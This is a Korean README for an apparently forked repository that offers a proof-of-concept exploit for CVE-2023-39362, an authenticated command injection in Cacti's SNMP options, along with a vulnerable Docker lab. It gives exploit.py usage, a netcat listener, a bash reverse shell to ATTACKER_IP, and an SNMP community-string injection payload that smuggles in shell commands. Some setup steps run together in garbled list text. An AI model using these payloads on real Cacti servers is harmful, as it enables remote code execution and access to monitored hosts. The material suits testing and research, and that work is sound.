
CVE-2023-39362에 대한 개념 증명 익스플로잇, Cacti의 SNMP 옵션에서의 인증된 명령 삽입. 테스트를 위한 취약한 Docker 환경과 리버스 셸 기능을 갖춘 자동화된 익스플로잇을 위한 Python 스크립트를 포함합니다.
이 저장소는 다음 저장소에서 포크되었습니다: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application
Cacti는 오픈 소스 운영 모니터링 및 장애 관리 프레임워크로, 사용자 커뮤니티의 역동적인 요구를 충족하기 위해 지속적으로 발전하고 있습니다.
버전 1.2.24에서 CVE-2023-39362로 표시된 잠재적인 보안 취약점이 확인되었습니다. 특정 조건에서 인증된 권한 있는 사용자가 Device의 SNMP 옵션에서 결함을 악용하여 명령 삽입으로 이어지는 악성 문자열을 사용할 수 있습니다. 이 악용은 기본 서버에서 인증된 원격 코드 실행을 초래합니다.
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39362
이 취약점의 영향은 심각합니다. 인증된 권한을 가진 악의적인 행위자가 Cacti를 호스팅하는 서버의 무결성을 손상시킬 수 있기 때문입니다. 이러한 손상은 잠재적으로 네트워크 내 다른 호스트, 특히 Cacti에 의해 모니터링되는 호스트에 대한 무단 접근의 게이트웨이가 될 수 있습니다.
이것은 Cacti 취약점(CVE-2023-39362)에 대한 익스플로잇을 테스트하기 위한 취약한 애플리케이션입니다.
이 애플리케이션에는 심각한 보안 취약점이 포함되어 있습니다. 본인의 책임 하에 실행하십시오! 백업 및 격리된 환경(예: 최신 스냅샷 및 호스트 전용 네트워킹이 있는 VM)을 사용하는 것이 좋습니다. 이 애플리케이션을 인터넷 연결 서버에 업로드하지 마십시오. 손상됩니다.
나는 누군가가 이 애플리케이션을 사용하는 방식에 대해 책임을 지지 않습니다. 이 애플리케이션의 유일한 목적은 CVE-2023-39362 익스플로잇을 위한 테스트 시나리오이며 악의적으로 사용되어서는 안 됩니다. 이 애플리케이션 설치를 통해 서버가 손상된 경우 내 책임이 아니라 애플리케이션을 업로드하고 설치한 사람(들)의 책임입니다.**
환경을 설정하는 단계는 다음과 같습니다:
docker compose up -d를 실행하여 구성을 시작합니다.admin/admin입니다.admin으로 로그인합니다.guest 사용자를 클릭합니다.guest로 다시 로그인하여 익스플로잇을 시도합니다.Cacti의 공식 설치 가이드는 여기에서 찾을 수 있습니다.
환경을 해체하려면 docker compose down 명령을 사용합니다.
(이것은 익스플로잇의 가능한 경로 중 하나일 뿐입니다)
원격 서버에서 명령 실행:
python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd touch /tmp/proof
리버스 셸 열기:
nc -lvnp 4242
python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd 'bash -c "exec bash -i &>/dev/tcp/ATTACKER_IP/PORT <&1"'
public\' ; touch /tmp/proof ; \'./tmp에서 생성된 파일의 존재 여부를 확인합니다.리버스 셸을 얻기 위해 다음과 같은 페이로드를 사용할 수 있습니다.
public\' ; bash -c "exec bash -i &>/dev/tcp/<host>/<port> <&1" ; \'
취약점의 자세한 근본 원인은 원본 보안 권고 또는 원저자의 블로그 게시물에서 확인할 수 있습니다.
이 프로젝트는 Unlicense에 따라 라이센스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.